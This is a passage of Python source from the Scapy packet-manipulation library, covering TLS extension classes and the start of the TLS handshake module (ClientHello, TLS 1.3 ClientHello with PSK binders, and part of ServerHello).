name = "Trusted authority - x509_name" fields_desc = [ByteEnumField("idtype", 2, _tls_trusted_authority_types), FieldLenField("dnlen", None, length_of="dn"), StrLenField("dn", "", length_from=lambda pkt: pkt.dnlen)] def guess_payload_class(self, p): return Padding class TACertSHA1Hash(Packet): name = "Trusted authority - cert_sha1_hash" fields_desc = [ByteEnumField("idtype", 3, _tls_trusted_authority_types), StrFixedLenField("id", None, 20)] def guess_payload_class(self, p): return Padding _tls_trusted_authority_cls = {0: TAPreAgreed, 1: TAKeySHA1Hash, 2: TAX509Name, 3: TACertSHA1Hash} class _TAListField(PacketListField): """ Specific version that selects the right Trusted Authority (previous TA*) class to be used for dissection based on idtype. """ def m2i(self, pkt, m): idtype = ord(m[0]) cls = self.cls if idtype in _tls_trusted_authority_cls: cls = _tls_trusted_authority_cls[idtype] return cls(m) class TLS_Ext_TrustedCAInd(TLS_Ext_Unknown): # RFC 4366 name = "TLS Extension - Trusted CA Indication" fields_desc = [ShortEnumField("type", 3, _tls_ext), ShortField("len", None), FieldLenField("talen", None, length_of="ta"), _TAListField("ta", [], Raw, length_from=lambda pkt: pkt.talen)] class TLS_Ext_TruncatedHMAC(TLS_Ext_Unknown): # RFC 4366 name = "TLS Extension - Truncated HMAC" fields_desc = [ShortEnumField("type", 4, _tls_ext), ShortField("len", None)] class ResponderID(Packet): name = "Responder ID structure" fields_desc = [FieldLenField("respidlen", None, length_of="respid"), StrLenField("respid", "", length_from=lambda pkt: pkt.respidlen)] def guess_payload_class(self, p): return Padding class OCSPStatusRequest(Packet): """ This is the structure defined in RFC 6066, not in RFC 6960! """ name = "OCSPStatusRequest structure" fields_desc = [FieldLenField("respidlen", None, length_of="respid"), PacketListField("respid", [], ResponderID, length_from=lambda pkt: pkt.respidlen), FieldLenField("reqextlen", None, length_of="reqext"), PacketField("reqext", "", X509_Extensions)] def guess_payload_class(self, p): return Padding _cert_status_type = {1: "ocsp"} _cert_status_req_cls = {1: OCSPStatusRequest} class _StatusReqField(PacketListField): def m2i(self, pkt, m): idtype = pkt.stype cls = self.cls if idtype in _cert_status_req_cls: cls = _cert_status_req_cls[idtype] return cls(m) class TLS_Ext_CSR(TLS_Ext_Unknown): # RFC 4366 name = "TLS Extension - Certificate Status Request" fields_desc = [ShortEnumField("type", 5, _tls_ext), ShortField("len", None), ByteEnumField("stype", None, _cert_status_type), _StatusReqField("req", [], Raw, length_from=lambda pkt: pkt.len - 1)] class TLS_Ext_UserMapping(TLS_Ext_Unknown): # RFC 4681 name = "TLS Extension - User Mapping" fields_desc = [ShortEnumField("type", 6, _tls_ext), ShortField("len", None), FieldLenField("umlen", None, fmt="B", length_of="um"), FieldListField("um", [], ByteField("umtype", 0), length_from=lambda pkt: pkt.umlen)] class TLS_Ext_ClientAuthz(TLS_Ext_Unknown): # RFC 5878 """ XXX Unsupported """ name = "TLS Extension - Client Authz" fields_desc = [ShortEnumField("type", 7, _tls_ext), ShortField("len", None), ] class TLS_Ext_ServerAuthz(TLS_Ext_Unknown): # RFC 5878 """ XXX Unsupported """ name = "TLS Extension - Server Authz" fields_desc = [ShortEnumField("type", 8, _tls_ext), ShortField("len", None), ] _tls_cert_types = {0: "X.509", 1: "OpenPGP"} class TLS_Ext_ClientCertType(TLS_Ext_Unknown): # RFC 5081 name = "TLS Extension - Certificate Type (client version)" fields_desc = [ShortEnumField("type", 9, _tls_ext), ShortField("len", None), FieldLenField("ctypeslen", None, length_of="ctypes"), FieldListField("ctypes", [0, 1], ByteEnumField("certtypes", None, _tls_cert_types), length_from=lambda pkt: pkt.ctypeslen)] class TLS_Ext_ServerCertType(TLS_Ext_Unknown): # RFC 5081 name = "TLS Extension - Certificate Type (server version)" fields_desc = [ShortEnumField("type", 9, _tls_ext), ShortField("len", None), ByteEnumField("ctype", None, _tls_cert_types)] def _TLS_Ext_CertTypeDispatcher(m, *args, **kargs): """ We need to select the correct one on dissection. We use the length for that, as 1 for client version would emply an empty list. """ tmp_len = struct.unpack("!H", m[2:4])[0] if tmp_len == 1: cls = TLS_Ext_ServerCertType else: cls = TLS_Ext_ClientCertType return cls(m, *args, **kargs) class TLS_Ext_SupportedGroups(TLS_Ext_Unknown): """ This extension was known as 'Supported Elliptic Curves' before TLS 1.3 merged both group selection mechanisms for ECDH and FFDH. """ name = "TLS Extension - Supported Groups" fields_desc = [ShortEnumField("type", 10, _tls_ext), ShortField("len", None), FieldLenField("groupslen", None, length_of="groups"), FieldListField("groups", [], ShortEnumField("ng", None, _tls_named_groups), length_from=lambda pkt: pkt.groupslen)] class TLS_Ext_SupportedEllipticCurves(TLS_Ext_SupportedGroups): # RFC 4492 pass _tls_ecpoint_format = {0: "uncompressed", 1: "ansiX962_compressed_prime", 2: "ansiX962_compressed_char2"} class TLS_Ext_SupportedPointFormat(TLS_Ext_Unknown): # RFC 4492 name = "TLS Extension - Supported Point Format" fields_desc = [ShortEnumField("type", 11, _tls_ext), ShortField("len", None), FieldLenField("ecpllen", None, fmt="B", length_of="ecpl"), FieldListField("ecpl", [0], ByteEnumField("nc", None, _tls_ecpoint_format), length_from=lambda pkt: pkt.ecpllen)] class TLS_Ext_SignatureAlgorithms(TLS_Ext_Unknown): # RFC 5246 name = "TLS Extension - Signature Algorithms" fields_desc = [ShortEnumField("type", 13, _tls_ext), ShortField("len", None), SigAndHashAlgsLenField("sig_algs_len", None, length_of="sig_algs"), SigAndHashAlgsField("sig_algs", [], EnumField("hash_sig", None, _tls_hash_sig), length_from=lambda pkt: pkt.sig_algs_len)] # noqa: E501 class TLS_Ext_Heartbeat(TLS_Ext_Unknown): # RFC 6520 name = "TLS Extension - Heartbeat" fields_desc = [ShortEnumField("type", 0x0f, _tls_ext), ShortField("len", None), ByteEnumField("heartbeat_mode", 2, {1: "peer_allowed_to_send", 2: "peer_not_allowed_to_send"})] class ProtocolName(Packet): name = "Protocol Name" fields_desc = [FieldLenField("len", None, fmt='B', length_of="protocol"), StrLenField("protocol", "", length_from=lambda pkt: pkt.len)] def guess_payload_class(self, p): return Padding class ProtocolListField(PacketListField): def i2repr(self, pkt, x): res = [p.protocol for p in x] return "[%s]" % b", ".join(res) class TLS_Ext_ALPN(TLS_Ext_PrettyPacketList): # RFC 7301 name = "TLS Extension - Application Layer Protocol Negotiation" fields_desc = [ShortEnumField("type", 0x10, _tls_ext), ShortField("len", None), FieldLenField("protocolslen", None, length_of="protocols"), ProtocolListField("protocols", [], ProtocolName, length_from=lambda pkt:pkt.protocolslen)] class TLS_Ext_Padding(TLS_Ext_Unknown): # RFC 7685 name = "TLS Extension - Padding" fields_desc = [ShortEnumField("type", 0x15, _tls_ext), FieldLenField("len", None, length_of="padding"), StrLenField("padding", "", length_from=lambda pkt: pkt.len)] class TLS_Ext_EncryptThenMAC(TLS_Ext_Unknown): # RFC 7366 name = "TLS Extension - Encrypt-then-MAC" fields_desc = [ShortEnumField("type", 0x16, _tls_ext), ShortField("len", None)] class TLS_Ext_ExtendedMasterSecret(TLS_Ext_Unknown): # RFC 7627 name = "TLS Extension - Extended Master Secret" fields_desc = [ShortEnumField("type", 0x17, _tls_ext), ShortField("len", None)] class TLS_Ext_SessionTicket(TLS_Ext_Unknown): # RFC 5077 """ RFC 5077 updates RFC 4507 according to most implementations, which do not use another (useless) 'ticketlen' field after the global 'len' field. """ name = "TLS Extension - Session Ticket" fields_desc = [ShortEnumField("type", 0x23, _tls_ext), FieldLenField("len", None, length_of="ticket"), StrLenField("ticket", "", length_from=lambda pkt: pkt.len)] class TLS_Ext_KeyShare(TLS_Ext_Unknown): name = "TLS Extension - Key Share (dummy class)" fields_desc = [ShortEnumField("type", 0x33, _tls_ext), ShortField("len", None)] class TLS_Ext_PreSharedKey(TLS_Ext_Unknown): name = "TLS Extension - Pre Shared Key (dummy class)" fields_desc = [ShortEnumField("type", 0x29, _tls_ext), ShortField("len", None)] class TLS_Ext_EarlyDataIndication(TLS_Ext_Unknown): name = "TLS Extension - Early Data" fields_desc = [ShortEnumField("type", 0x2a, _tls_ext), ShortField("len", None)] class TLS_Ext_EarlyDataIndicationTicket(TLS_Ext_Unknown): name = "TLS Extension - Ticket Early Data Info" fields_desc = [ShortEnumField("type", 0x2a, _tls_ext), ShortField("len", None), IntField("max_early_data_size", 0)] _tls_ext_early_data_cls = {1: TLS_Ext_EarlyDataIndication, 4: TLS_Ext_EarlyDataIndicationTicket, 8: TLS_Ext_EarlyDataIndication} class TLS_Ext_SupportedVersions(TLS_Ext_Unknown): name = "TLS Extension - Supported Versions (dummy class)" fields_desc = [ShortEnumField("type", 0x2b, _tls_ext), ShortField("len", None)] class TLS_Ext_SupportedVersion_CH(TLS_Ext_Unknown): name = "TLS Extension - Supported Versions (for ClientHello)" fields_desc = [ShortEnumField("type", 0x2b, _tls_ext), ShortField("len", None), FieldLenField("versionslen", None, fmt='B', length_of="versions"), FieldListField("versions", [], ShortEnumField("version", None, _tls_version), length_from=lambda pkt: pkt.versionslen)] class TLS_Ext_SupportedVersion_SH(TLS_Ext_Unknown): name = "TLS Extension - Supported Versions (for ServerHello)" fields_desc = [ShortEnumField("type", 0x2b, _tls_ext), ShortField("len", None), ShortEnumField("version", None, _tls_version)] _tls_ext_supported_version_cls = {1: TLS_Ext_SupportedVersion_CH, 2: TLS_Ext_SupportedVersion_SH} class TLS_Ext_Cookie(TLS_Ext_Unknown): name = "TLS Extension - Cookie" fields_desc = [ShortEnumField("type", 0x2c, _tls_ext), ShortField("len", None), FieldLenField("cookielen", None, length_of="cookie"), XStrLenField("cookie", "", length_from=lambda pkt: pkt.cookielen)] def build(self): fval = self.getfieldval("cookie") if fval is None or fval == b"": self.cookie = os.urandom(32) return TLS_Ext_Unknown.build(self) _tls_psk_kx_modes = {0: "psk_ke", 1: "psk_dhe_ke"} class TLS_Ext_PSKKeyExchangeModes(TLS_Ext_Unknown): name = "TLS Extension - PSK Key Exchange Modes" fields_desc = [ShortEnumField("type", 0x2d, _tls_ext), ShortField("len", None), FieldLenField("kxmodeslen", None, fmt='B', length_of="kxmodes"), FieldListField("kxmodes", [], ByteEnumField("kxmode", None, _tls_psk_kx_modes), length_from=lambda pkt: pkt.kxmodeslen)] class TLS_Ext_TicketEarlyDataInfo(TLS_Ext_Unknown): name = "TLS Extension - Ticket Early Data Info" fields_desc = [ShortEnumField("type", 0x2e, _tls_ext), ShortField("len", None), IntField("max_early_data_size", 0)] class TLS_Ext_NPN(TLS_Ext_PrettyPacketList): """ Defined in RFC-draft-agl-tls-nextprotoneg-03. Deprecated in favour of ALPN. """ name = "TLS Extension - Next Protocol Negotiation" fields_desc = [ShortEnumField("type", 0x3374, _tls_ext), FieldLenField("len", None, length_of="protocols"), ProtocolListField("protocols", [], ProtocolName, length_from=lambda pkt:pkt.len)] class TLS_Ext_PostHandshakeAuth(TLS_Ext_Unknown): # RFC 8446 name = "TLS Extension - Post Handshake Auth" fields_desc = [ShortEnumField("type", 0x31, _tls_ext), ShortField("len", None)] class TLS_Ext_SignatureAlgorithmsCert(TLS_Ext_Unknown): # RFC 8446 name = "TLS Extension - Signature Algorithms Cert" fields_desc = [ShortEnumField("type", 0x31, _tls_ext), ShortField("len", None), SigAndHashAlgsLenField("sig_algs_len", None, length_of="sig_algs"), SigAndHashAlgsField("sig_algs", [], EnumField("hash_sig", None, _tls_hash_sig), length_from=lambda pkt: pkt.sig_algs_len)] # noqa: E501 class TLS_Ext_RenegotiationInfo(TLS_Ext_Unknown): # RFC 5746 name = "TLS Extension - Renegotiation Indication" fields_desc = [ShortEnumField("type", 0xff01, _tls_ext), ShortField("len", None), FieldLenField("reneg_conn_len", None, fmt='B', length_of="renegotiated_connection"), StrLenField("renegotiated_connection", "", length_from=lambda pkt: pkt.reneg_conn_len)] class TLS_Ext_RecordSizeLimit(TLS_Ext_Unknown): # RFC 8449 name = "TLS Extension - Record Size Limit" fields_desc = [ShortEnumField("type", 0x1c, _tls_ext), ShortField("len", None), ShortField("record_size_limit", None)] _tls_ext_cls = {0: TLS_Ext_ServerName, 1: TLS_Ext_MaxFragLen, 2: TLS_Ext_ClientCertURL, 3: TLS_Ext_TrustedCAInd, 4: TLS_Ext_TruncatedHMAC, 5: TLS_Ext_CSR, 6: TLS_Ext_UserMapping, 7: TLS_Ext_ClientAuthz, 8: TLS_Ext_ServerAuthz, 9: _TLS_Ext_CertTypeDispatcher, # 10: TLS_Ext_SupportedEllipticCurves, 10: TLS_Ext_SupportedGroups, 11: TLS_Ext_SupportedPointFormat, 13: TLS_Ext_SignatureAlgorithms, 0x0f: TLS_Ext_Heartbeat, 0x10: TLS_Ext_ALPN, 0x15: TLS_Ext_Padding, 0x16: TLS_Ext_EncryptThenMAC, 0x17: TLS_Ext_ExtendedMasterSecret, 0x1c: TLS_Ext_RecordSizeLimit, 0x23: TLS_Ext_SessionTicket, # 0x28: TLS_Ext_KeyShare, 0x29: TLS_Ext_PreSharedKey, 0x2a: TLS_Ext_EarlyDataIndication, 0x2b: TLS_Ext_SupportedVersions, 0x2c: TLS_Ext_Cookie, 0x2d: TLS_Ext_PSKKeyExchangeModes, # 0x2e: TLS_Ext_TicketEarlyDataInfo, 0x31: TLS_Ext_PostHandshakeAuth, 0x32: TLS_Ext_SignatureAlgorithmsCert, 0x33: TLS_Ext_KeyShare, # 0x2f: TLS_Ext_CertificateAuthorities, #XXX # 0x30: TLS_Ext_OIDFilters, #XXX 0x3374: TLS_Ext_NPN, 0xff01: TLS_Ext_RenegotiationInfo, 0xffce: TLS_Ext_EncryptedServerName } class _ExtensionsLenField(FieldLenField): def getfield(self, pkt, s): """ We try to compute a length, usually from a msglen parsed earlier. If this length is 0, we consider 'selection_present' (from RFC 5246) to be False. This means that there should not be any length field. However, with TLS 1.3, zero lengths are always explicit. """ ext = pkt.get_field(self.length_of) tmp_len = ext.length_from(pkt) if tmp_len is None or tmp_len <= 0: v = pkt.tls_session.tls_version if v is None or v < 0x0304: return s, None return super(_ExtensionsLenField, self).getfield(pkt, s) def addfield(self, pkt, s, i): """ There is a hack with the _ExtensionsField.i2len. It works only because we expect _ExtensionsField.i2m to return a string of the same size (if not of the same value) upon successive calls (e.g. through i2len here, then i2m when directly building the _ExtensionsField). XXX A proper way to do this would be to keep the extensions built from the i2len call here, instead of rebuilding them later on. """ if i is None: if self.length_of is not None: fld, fval = pkt.getfield_and_val(self.length_of) tmp = pkt.tls_session.frozen pkt.tls_session.frozen = True f = fld.i2len(pkt, fval) pkt.tls_session.frozen = tmp i = self.adjust(pkt, f) if i == 0: # for correct build if no ext and not explicitly 0 v = pkt.tls_session.tls_version # With TLS 1.3, zero lengths are always explicit. if v is None or v < 0x0304: return s else: return s + struct.pack(self.fmt, i) return s + struct.pack(self.fmt, i) class _ExtensionsField(StrLenField): islist = 1 holds_packets = 1 def i2len(self, pkt, i): if i is None: return 0 return len(self.i2m(pkt, i)) def getfield(self, pkt, s): tmp_len = self.length_from(pkt) or 0 if tmp_len <= 0: return s, [] return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) def i2m(self, pkt, i): if i is None: return b"" if isinstance(pkt, _GenericTLSSessionInheritance): if not pkt.tls_session.frozen: s = b"" for ext in i: if isinstance(ext, _GenericTLSSessionInheritance): ext.tls_session = pkt.tls_session s += ext.raw_stateful() else: s += raw(ext) return s return b"".join(map(raw, i)) def m2i(self, pkt, m): res = [] while len(m) >= 4: t = struct.unpack("!H", m[:2])[0] tmp_len = struct.unpack("!H", m[2:4])[0] cls = _tls_ext_cls.get(t, TLS_Ext_Unknown) if cls is TLS_Ext_KeyShare: # TLS_Ext_KeyShare can be : # - TLS_Ext_KeyShare_CH if the message is a ClientHello # - TLS_Ext_KeyShare_SH if the message is a ServerHello # and all parameters are accepted by the serveur # - TLS_Ext_KeyShare_HRR if message is a ServerHello and # the client has not provided a sufficient "key_share" # extension from scapy.layers.tls.keyexchange_tls13 import ( _tls_ext_keyshare_cls, _tls_ext_keyshare_hrr_cls) # If SHA-256("HelloRetryRequest") == server_random, # this message is a HelloRetryRequest if pkt.random_bytes and \ pkt.random_bytes == _tls_hello_retry_magic: cls = _tls_ext_keyshare_hrr_cls.get(pkt.msgtype, TLS_Ext_Unknown) # noqa: E501 else: cls = _tls_ext_keyshare_cls.get(pkt.msgtype, TLS_Ext_Unknown) # noqa: E501 elif cls is TLS_Ext_PreSharedKey: from scapy.layers.tls.keyexchange_tls13 import _tls_ext_presharedkey_cls # noqa: E501 cls = _tls_ext_presharedkey_cls.get(pkt.msgtype, TLS_Ext_Unknown) # noqa: E501 elif cls is TLS_Ext_SupportedVersions: cls = _tls_ext_supported_version_cls.get(pkt.msgtype, TLS_Ext_Unknown) # noqa: E501 elif cls is TLS_Ext_EarlyDataIndication: cls = _tls_ext_early_data_cls.get(pkt.msgtype, TLS_Ext_Unknown) res.append(cls(m[:tmp_len + 4], tls_session=pkt.tls_session)) m = m[tmp_len + 4:] return res scapy-2.4.4/scapy/layers/tls/handshake.py000066400000000000000000002113031372370053500203650ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # 2019 Romain Perez # This program is published under a GPLv2 license """ TLS handshake fields & logic. This module covers the handshake TLS subprotocol, except for the key exchange mechanisms which are addressed with keyexchange.py. """ from __future__ import absolute_import import math import os import struct from scapy.error import log_runtime, warning from scapy.fields import ( ByteEnumField, ByteField, Field, FieldLenField, IntField, PacketField, PacketListField, ShortEnumField, ShortField, StrFixedLenField, StrLenField, ThreeBytesField, UTCTimeField, ) from scapy.compat import hex_bytes, orb, raw from scapy.config import conf from scapy.modules import six from scapy.packet import Packet, Raw, Padding from scapy.utils import randstring, repr_hex from scapy.layers.x509 import OCSP_Response from scapy.layers.tls.cert import Cert from scapy.layers.tls.basefields import (_tls_version, _TLSVersionField, _TLSClientVersionField) from scapy.layers.tls.extensions import (_ExtensionsLenField, _ExtensionsField, _cert_status_type, TLS_Ext_SupportedVersion_CH, TLS_Ext_SignatureAlgorithms, TLS_Ext_SupportedVersion_SH, TLS_Ext_EarlyDataIndication, _tls_hello_retry_magic) from scapy.layers.tls.keyexchange import (_TLSSignature, _TLSServerParamsField, _TLSSignatureField, ServerRSAParams, SigAndHashAlgsField, _tls_hash_sig, SigAndHashAlgsLenField) from scapy.layers.tls.session import (_GenericTLSSessionInheritance, readConnState, writeConnState) from scapy.layers.tls.keyexchange_tls13 import TLS_Ext_PreSharedKey_CH from scapy.layers.tls.crypto.compression import (_tls_compression_algs, _tls_compression_algs_cls, Comp_NULL, _GenericComp, _GenericCompMetaclass) from scapy.layers.tls.crypto.suites import (_tls_cipher_suites, _tls_cipher_suites_cls, _GenericCipherSuite, _GenericCipherSuiteMetaclass) from scapy.layers.tls.crypto.hkdf import TLS13_HKDF if conf.crypto_valid: from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes ############################################################################### # Generic TLS Handshake message # ############################################################################### _tls_handshake_type = {0: "hello_request", 1: "client_hello", 2: "server_hello", 3: "hello_verify_request", 4: "session_ticket", 6: "hello_retry_request", 8: "encrypted_extensions", 11: "certificate", 12: "server_key_exchange", 13: "certificate_request", 14: "server_hello_done", 15: "certificate_verify", 16: "client_key_exchange", 20: "finished", 21: "certificate_url", 22: "certificate_status", 23: "supplemental_data", 24: "key_update"} class _TLSHandshake(_GenericTLSSessionInheritance): """ Inherited by other Handshake classes to get post_build(). Also used as a fallback for unknown TLS Handshake packets. """ name = "TLS Handshake Generic message" fields_desc = [ByteEnumField("msgtype", None, _tls_handshake_type), ThreeBytesField("msglen", None), StrLenField("msg", "", length_from=lambda pkt: pkt.msglen)] def post_build(self, p, pay): tmp_len = len(p) if self.msglen is None: l2 = tmp_len - 4 p = struct.pack("!I", (orb(p[0]) << 24) | l2) + p[4:] return p + pay def guess_payload_class(self, p): return conf.padding_layer def tls_session_update(self, msg_str): """ Covers both post_build- and post_dissection- context updates. """ self.tls_session.handshake_messages.append(msg_str) self.tls_session.handshake_messages_parsed.append(self) ############################################################################### # HelloRequest # ############################################################################### class TLSHelloRequest(_TLSHandshake): name = "TLS Handshake - Hello Request" fields_desc = [ByteEnumField("msgtype", 0, _tls_handshake_type), ThreeBytesField("msglen", None)] def tls_session_update(self, msg_str): """ Message should not be added to the list of handshake messages that will be hashed in the finished and certificate verify messages. """ return ############################################################################### # ClientHello fields # ############################################################################### class _GMTUnixTimeField(UTCTimeField): """ "The current time and date in standard UNIX 32-bit format (seconds since the midnight starting Jan 1, 1970, GMT, ignoring leap seconds)." """ def i2h(self, pkt, x): if x is not None: return x return 0 class _TLSRandomBytesField(StrFixedLenField): def i2repr(self, pkt, x): if x is None: return repr(x) return repr_hex(self.i2h(pkt, x)) class _SessionIDField(StrLenField): """ opaque SessionID<0..32>; section 7.4.1.2 of RFC 4346 """ pass class _CipherSuitesField(StrLenField): __slots__ = ["itemfmt", "itemsize", "i2s", "s2i"] islist = 1 def __init__(self, name, default, dico, length_from=None, itemfmt="!H"): StrLenField.__init__(self, name, default, length_from=length_from) self.itemfmt = itemfmt self.itemsize = struct.calcsize(itemfmt) i2s = self.i2s = {} s2i = self.s2i = {} for k in six.iterkeys(dico): i2s[k] = dico[k] s2i[dico[k]] = k def any2i_one(self, pkt, x): if (isinstance(x, _GenericCipherSuite) or isinstance(x, _GenericCipherSuiteMetaclass)): x = x.val if isinstance(x, bytes): x = self.s2i[x] return x def i2repr_one(self, pkt, x): fmt = "0x%%0%dx" % self.itemsize return self.i2s.get(x, fmt % x) def any2i(self, pkt, x): if x is None: return None if not isinstance(x, list): x = [x] return [self.any2i_one(pkt, z) for z in x] def i2repr(self, pkt, x): if x is None: return "None" tmp_len = [self.i2repr_one(pkt, z) for z in x] if len(tmp_len) == 1: tmp_len = tmp_len[0] else: tmp_len = "[%s]" % ", ".join(tmp_len) return tmp_len def i2m(self, pkt, val): if val is None: val = [] return b"".join(struct.pack(self.itemfmt, x) for x in val) def m2i(self, pkt, m): res = [] itemlen = struct.calcsize(self.itemfmt) while m: res.append(struct.unpack(self.itemfmt, m[:itemlen])[0]) m = m[itemlen:] return res def i2len(self, pkt, i): if i is None: return 0 return len(i) * self.itemsize class _CompressionMethodsField(_CipherSuitesField): def any2i_one(self, pkt, x): if (isinstance(x, _GenericComp) or isinstance(x, _GenericCompMetaclass)): x = x.val if isinstance(x, str): x = self.s2i[x] return x ############################################################################### # ClientHello # ############################################################################### class TLSClientHello(_TLSHandshake): """ TLS ClientHello, with abilities to handle extensions. The Random structure follows the RFC 5246: while it is 32-byte long, many implementations use the first 4 bytes as a gmt_unix_time, and then the remaining 28 byts should be completely random. This was designed in order to (sort of) mitigate broken RNGs. If you prefer to show the full 32 random bytes without any GMT time, just comment in/out the lines below. """ name = "TLS Handshake - Client Hello" fields_desc = [ByteEnumField("msgtype", 1, _tls_handshake_type), ThreeBytesField("msglen", None), _TLSClientVersionField("version", None, _tls_version), # _TLSRandomBytesField("random_bytes", None, 32), _GMTUnixTimeField("gmt_unix_time", None), _TLSRandomBytesField("random_bytes", None, 28), FieldLenField("sidlen", None, fmt="B", length_of="sid"), _SessionIDField("sid", "", length_from=lambda pkt: pkt.sidlen), FieldLenField("cipherslen", None, fmt="!H", length_of="ciphers"), _CipherSuitesField("ciphers", None, _tls_cipher_suites, itemfmt="!H", length_from=lambda pkt: pkt.cipherslen), FieldLenField("complen", None, fmt="B", length_of="comp"), _CompressionMethodsField("comp", [0], _tls_compression_algs, itemfmt="B", length_from=lambda pkt: pkt.complen), # noqa: E501 _ExtensionsLenField("extlen", None, length_of="ext"), _ExtensionsField("ext", None, length_from=lambda pkt: (pkt.msglen - (pkt.sidlen or 0) - # noqa: E501 (pkt.cipherslen or 0) - # noqa: E501 (pkt.complen or 0) - # noqa: E501 40))] def post_build(self, p, pay): if self.random_bytes is None: p = p[:10] + randstring(28) + p[10 + 28:] # if no ciphersuites were provided, we add a few usual, supported # ciphersuites along with the appropriate extensions if self.ciphers is None: cipherstart = 39 + (self.sidlen or 0) s = b"001ac02bc023c02fc027009e0067009c003cc009c0130033002f000a" p = p[:cipherstart] + hex_bytes(s) + p[cipherstart + 2:] if self.ext is None: ext_len = b'\x00\x2c' ext_reneg = b'\xff\x01\x00\x01\x00' ext_sn = b'\x00\x00\x00\x0f\x00\r\x00\x00\nsecdev.org' ext_sigalg = b'\x00\r\x00\x08\x00\x06\x04\x03\x04\x01\x02\x01' ext_supgroups = b'\x00\n\x00\x04\x00\x02\x00\x17' p += ext_len + ext_reneg + ext_sn + ext_sigalg + ext_supgroups return super(TLSClientHello, self).post_build(p, pay) def tls_session_update(self, msg_str): """ Either for parsing or building, we store the client_random along with the raw string representing this handshake message. """ super(TLSClientHello, self).tls_session_update(msg_str) s = self.tls_session s.advertised_tls_version = self.version # This ClientHello could be a 1.3 one. Let's store the sid # in all cases if self.sidlen and self.sidlen > 0: s.sid = self.sid self.random_bytes = msg_str[10:38] s.client_random = (struct.pack('!I', self.gmt_unix_time) + self.random_bytes) # No distinction between a TLS 1.2 ClientHello and a TLS # 1.3 ClientHello when dissecting : TLS 1.3 CH will be # parsed as TLSClientHello if self.ext: for e in self.ext: if isinstance(e, TLS_Ext_SupportedVersion_CH): for ver in e.versions: # RFC 8701: GREASE of TLS will send unknown versions # here. We have to ignore them if ver in _tls_version: s.advertised_tls_version = ver break if s.sid: s.middlebox_compatibility = True if isinstance(e, TLS_Ext_SignatureAlgorithms): s.advertised_sig_algs = e.sig_algs class TLS13ClientHello(_TLSHandshake): """ TLS 1.3 ClientHello, with abilities to handle extensions. The Random structure is 32 random bytes without any GMT time """ name = "TLS 1.3 Handshake - Client Hello" fields_desc = [ByteEnumField("msgtype", 1, _tls_handshake_type), ThreeBytesField("msglen", None), _TLSClientVersionField("version", None, _tls_version), _TLSRandomBytesField("random_bytes", None, 32), FieldLenField("sidlen", None, fmt="B", length_of="sid"), _SessionIDField("sid", "", length_from=lambda pkt: pkt.sidlen), FieldLenField("cipherslen", None, fmt="!H", length_of="ciphers"), _CipherSuitesField("ciphers", None, _tls_cipher_suites, itemfmt="!H", length_from=lambda pkt: pkt.cipherslen), FieldLenField("complen", None, fmt="B", length_of="comp"), _CompressionMethodsField("comp", [0], _tls_compression_algs, itemfmt="B", length_from=lambda pkt: pkt.complen), # noqa: E501 _ExtensionsLenField("extlen", None, length_of="ext"), _ExtensionsField("ext", None, length_from=lambda pkt: (pkt.msglen - (pkt.sidlen or 0) - # noqa: E501 (pkt.cipherslen or 0) - # noqa: E501 (pkt.complen or 0) - # noqa: E501 40))] def post_build(self, p, pay): if self.random_bytes is None: p = p[:6] + randstring(32) + p[6 + 32:] # We don't call the post_build function from class _TLSHandshake # to compute the message length because we need that value now # for the HMAC in binder tmp_len = len(p) if self.msglen is None: sz = tmp_len - 4 p = struct.pack("!I", (orb(p[0]) << 24) | sz) + p[4:] s = self.tls_session if self.ext: for e in self.ext: if isinstance(e, TLS_Ext_PreSharedKey_CH): if s.client_session_ticket: # For a resumed PSK, the hash function use # to compute the binder must be the same # as the one used to establish the original # conntection. For that, we assume that # the ciphersuite associate with the ticket # is given as argument to tlsSession # (see layers/tls/automaton_cli.py for an # example) res_suite = s.tls13_ticket_ciphersuite cs_cls = _tls_cipher_suites_cls[res_suite] hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) hash_len = hkdf.hash.digest_size s.compute_tls13_early_secrets(external=False) else: # For out of band PSK, SHA-256 is used as default # hash functions for HKDF hkdf = TLS13_HKDF("sha256") hash_len = hkdf.hash.digest_size s.compute_tls13_early_secrets(external=True) # RFC8446 4.2.11.2 # "Each entry in the binders list is computed as an HMAC # over a transcript hash (see Section 4.4.1) containing a # partial ClientHello up to and including the # PreSharedKeyExtension.identities field." # PSK Binders field is : # - PSK Binders length (2 bytes) # - First PSK Binder length (1 byte) + # HMAC (hash_len bytes) # The PSK Binder is computed in the same way as the # Finished message with binder_key as BaseKey handshake_context = b"" if s.tls13_retry: for m in s.handshake_messages: handshake_context += m handshake_context += p[:-hash_len - 3] binder_key = s.tls13_derived_secrets["binder_key"] psk_binder = hkdf.compute_verify_data(binder_key, handshake_context) # Here, we replaced the last 32 bytes of the packet by the # new HMAC values computed over the ClientHello (without # the binders) p = p[:-hash_len] + psk_binder return p + pay def tls_session_update(self, msg_str): """ Either for parsing or building, we store the client_random along with the raw string representing this handshake message. """ super(TLS13ClientHello, self).tls_session_update(msg_str) s = self.tls_session if self.sidlen and self.sidlen > 0: s.sid = self.sid s.middlebox_compatibility = True self.random_bytes = msg_str[10:38] s.client_random = self.random_bytes if self.ext: for e in self.ext: if isinstance(e, TLS_Ext_SupportedVersion_CH): for ver in e.versions: # RFC 8701: GREASE of TLS will send unknown versions # here. We have to ignore them if ver in _tls_version: self.tls_session.advertised_tls_version = ver break if isinstance(e, TLS_Ext_SignatureAlgorithms): s.advertised_sig_algs = e.sig_algs ############################################################################### # ServerHello # ############################################################################### class TLSServerHello(_TLSHandshake): """ TLS ServerHello, with abilities to handle extensions. The Random structure follows the RFC 5246: while it is 32-byte long, many implementations use the first 4 bytes as a gmt_unix_time, and then the remaining 28 byts should be completely random. This was designed in order to (sort of) mitigate broken RNGs. If you prefer to show the full 32 random bytes without any GMT time, just comment in/out the lines below. """ name = "TLS Handshake - Server Hello" fields_desc = [ByteEnumField("msgtype", 2, _tls_handshake_type), ThreeBytesField("msglen", None), _TLSVersionField("version", None, _tls_version), # _TLSRandomBytesField("random_bytes", None, 32), _GMTUnixTimeField("gmt_unix_time", None), _TLSRandomBytesField("random_bytes", None, 28), FieldLenField("sidlen", None, length_of="sid", fmt="B"), _SessionIDField("sid", "", length_from=lambda pkt: pkt.sidlen), ShortEnumField("cipher", None, _tls_cipher_suites), _CompressionMethodsField("comp", [0], 